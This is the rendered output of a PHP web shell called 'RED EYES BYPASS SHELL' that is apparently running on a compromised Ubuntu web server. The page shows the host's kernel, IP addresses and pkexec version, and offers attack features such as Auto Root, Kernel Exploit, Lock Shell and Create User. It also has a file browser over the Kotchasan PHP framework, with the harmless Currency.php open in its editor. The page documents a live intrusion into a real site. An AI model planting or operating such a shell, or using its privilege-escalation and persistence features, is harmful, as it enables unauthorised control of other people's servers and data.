Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Currency.php
<?php /** * @filesource Kotchasan/Currency.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * แปลงตัวเลขเป็นจำนวนเงิน บาท ดอลล่าร์ * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Currency { /** * แปลงจำนวนเงินเป็นตัวหนังสือ * * @assert (100.00) [==] 'one hundred Baht' * @assert (101.00) [==] 'one hundred and one Baht' * @assert (1000.50) [==] 'one thousand Baht and fifty Satang' * @assert (1000050) [==] 'one million fifty Baht' * @assert (-1000000050) [==] 'negative one billion fifty Baht' * @assert (1000000050) [==] 'one billion fifty Baht' * @assert (10000000050.25) [==] 'ten billion fifty Baht and twenty-five Satang' * * @param string $thb * * @return string */ public static function bahtEng($thb) { if (preg_match('/^(\-?[0-9]+)(\.([0-9]+))/', (string) $thb, $match)) { $thb = self::engFormat((int) $match[1]).' Baht'; if ((int) $match[3] > 0) { $thb .= ' and '.self::engFormat((int) substr($match[3].'00', 0, 2)).' Satang'; } } else { $thb = self::engFormat((int) $thb).' Baht'; } return $thb; } /** * ตัวเลขเป็นตัวหนังสือ (ไทย) * * @assert (101.00) [==] 'หนึ่งร้อยเอ็ดบาทถ้วน' * @assert (1000.50) [==] 'หนึ่งพันบาทห้าสิบสตางค์' * @assert (1000.00) [==] 'หนึ่งพันบาทถ้วน' * @assert (1000) [==] 'หนึ่งพันบาทถ้วน' * @assert (1000050) [==] 'หนึ่งล้านห้าสิบบาทถ้วน' * @assert (-1000000050) [==] 'ลบหนึ่งพันล้านห้าสิบบาทถ้วน' * @assert (10000000050.25) [==] 'หนึ่งหมื่นล้านห้าสิบบาทยี่สิบห้าสตางค์' * * @param string $thb * * @return string */ public static function bahtThai($thb) { if (preg_match('/(\-){0,1}([0-9]+)(\.([0-9]+))?/', (string) $thb, $match)) { $thb = $match[2]; $ths = !empty($match[4]) ? substr($match[4].'00', 0, 2) : ''; $thaiNum = array('', 'หนึ่ง', 'สอง', 'สาม', 'สี่', 'ห้า', 'หก', 'เจ็ด', 'แปด', 'เก้า'); $unitBaht = array('บาท', 'สิบ', 'ร้อย', 'พัน', 'หมื่น', 'แสน', 'ล้าน', 'สิบ', 'ร้อย', 'พัน', 'หมื่น', 'แสน', 'ล้าน'); $unitSatang = array('สตางค์', 'สิบ'); $THB = ''; $j = 0; for ($i = strlen($thb) - 1; $i >= 0; $i--, $j++) { $num = $thb[$i]; $tnum = $thaiNum[$num]; $unit = $unitBaht[$j]; switch (true) { case $j == 0 && $num == 1 && strlen($thb) > 1: $tnum = 'เอ็ด'; break; case $j == 1 && $num == 1: $tnum = ''; break; case $j == 1 && $num == 2: $tnum = 'ยี่'; break; case $j == 6 && $num == 1 && strlen($thb) > 7: $tnum = 'เอ็ด'; break; case $j == 7 && $num == 1: $tnum = ''; break; case $j == 7 && $num == 2: $tnum = 'ยี่'; break; case $j != 0 && $j != 6 && $num == 0: $unit = ''; break; } $S = $tnum.$unit; $THB = $S.$THB; } $THB = ($match[1] == '-' ? 'ลบ' : '').$THB; if ($ths == '' || $ths == '00') { $THS = 'ถ้วน'; } else { $j = 0; $THS = ''; for ($i = strlen($ths) - 1; $i >= 0; $i--, $j++) { $num = $ths[$i]; $tnum = $thaiNum[$num]; $unit = $unitSatang[$j]; switch (true) { case $j == 0 && $num == 1 && strlen($ths) > 1: $tnum = 'เอ็ด'; break; case $j == 1 && $num == 1: $tnum = ''; break; case $j == 1 && $num == 2: $tnum = 'ยี่'; break; case $j != 0 && $j != 6 && $num == 0: $unit = ''; break; } $S = $tnum.$unit; $THS = $S.$THS; } } return $THB.$THS; } else { return ''; } } /** * ฟังก์ชั่นคำนวณภาษี * $vat_ex = true ราคาสินค้ารวม VAT เช่น ราคาสินค้า 100 + VAT 7 = ราคาขาย 107 * $vat_ex = false ราคาสินค้ารวม VAT เช่น ราคาขาย 100 = ราคาสินค้า 93 + VAT 7 * คืนค่า VAT จากราคาขาย * * @assert (1000, 7, true) [==] 70 * @assert (1000, 7, false) [==] 65.420560747663558 * * @param float $amount ราคาขาย * @param float $vat VAT * @param bool $vat_ex * * @return float */ public static function calcVat($amount, $vat, $vat_ex = true) { if ($vat_ex) { $result = (($vat * $amount) / 100); } else { $result = $amount - ($amount * (100 / (100 + $vat))); } return $result; } /** * ฟังก์ชั่น แปลงตัวเลขเป็นจำนวนเงิน * คืนค่าข้อความจำนวนเงิน * * @param float $amount จำนวนเงิน * @param int $digit จำนวนทศนิยม (optional) ค่าเริ่มต้น 2 หลัก * @param string $thousands_sep (optional) เครื่องหมายหลักพัน (default ,) * @param bool $round (optional) true (default) หลังจุดทศนิยมในหลักที่เกินตั้งแต่ 5 ขึ้นไปปัดขึ้น (round), false ตัดหลักที่เกินทิ้ง (floor) * * @return string */ public static function format($amount, $digit = 2, $thousands_sep = ',', $round = true) { if (!$round && preg_match('/^([0-9]+)(\.[0-9]{'.$digit.','.$digit.'})[0-9]+$/', (string) $amount, $match)) { return number_format(floatval($match[1].$match[2]), $digit, '.', $thousands_sep); } else { return number_format((float) $amount, $digit, '.', $thousands_sep); } } /** * ตัวเลขเป็นตัวหนังสือ (eng) * * @param int $number * * @return string */ private static function engFormat($number) { if (is_int($number) && $number < abs(pow(10, 18))) { switch ($number) { case $number < 0: $prefix = 'negative'; $suffix = self::engFormat(-1 * $number); $string = $prefix.' '.$suffix; break; case 1: $string = 'one'; break; case 2: $string = 'two'; break; case 3: $string = 'three'; break; case 4: $string = 'four'; break; case 5: $string = 'five'; break; case 6: $string = 'six'; break; case 7: $string = 'seven'; break; case 8: $string = 'eight'; break; case 9: $string = 'nine'; break; case 10: $string = 'ten'; break; case 11: $string = 'eleven'; break; case 12: $string = 'twelve'; break; case 13: $string = 'thirteen'; break; case 15: $string = 'fifteen'; break; case $number < 20: $string = self::engFormat($number % 10); if ($number == 18) { $string .= 'een'; } else { $string .= 'teen'; } break; case 20: $string = 'twenty'; break; case 30: $string = 'thirty'; break; case 40: $string = 'forty'; break; case 50: $string = 'fifty'; break; case 60: $string = 'sixty'; break; case 70: $string = 'seventy'; break; case 80: $string = 'eighty'; break; case 90: $string = 'ninety'; break; case $number < 100: $prefix = self::engFormat($number - $number % 10); $suffix = self::engFormat($number % 10); $string = $prefix.'-'.$suffix; break; case $number < pow(10, 3): $string = self::engFormat(intval(floor($number / pow(10, 2)))).' hundred'; if ($number % pow(10, 2)) { $string .= ' and '.self::engFormat($number % pow(10, 2)); } break; case $number < pow(10, 6): $string = self::engFormat(intval(floor($number / pow(10, 3)))).' thousand'; if ($number % pow(10, 3)) { $string .= self::engFormat($number % pow(10, 3)); } break; case $number < pow(10, 9): $string = self::engFormat(intval(floor($number / pow(10, 6)))).' million'; if ($number % pow(10, 6)) { $string .= ' '.self::engFormat($number % pow(10, 6)); } break; case $number < pow(10, 12): $string = self::engFormat(intval(floor($number / pow(10, 9)))).' billion'; if ($number % pow(10, 9)) { $string .= ' '.self::engFormat($number % pow(10, 9)); } break; case $number < pow(10, 15): $string = self::engFormat(intval(floor($number / pow(10, 12)))).' trillion'; if ($number % pow(10, 12)) { $string .= ' '.self::engFormat($number % pow(10, 12)); } break; case $number < pow(10, 18): $string = self::engFormat(intval(floor($number / pow(10, 15)))).' quadrillion'; if ($number % pow(10, 15)) { $string .= ' '.self::engFormat($number % pow(10, 15)); } break; } return $string; } else { return 'zero'; } } }
Close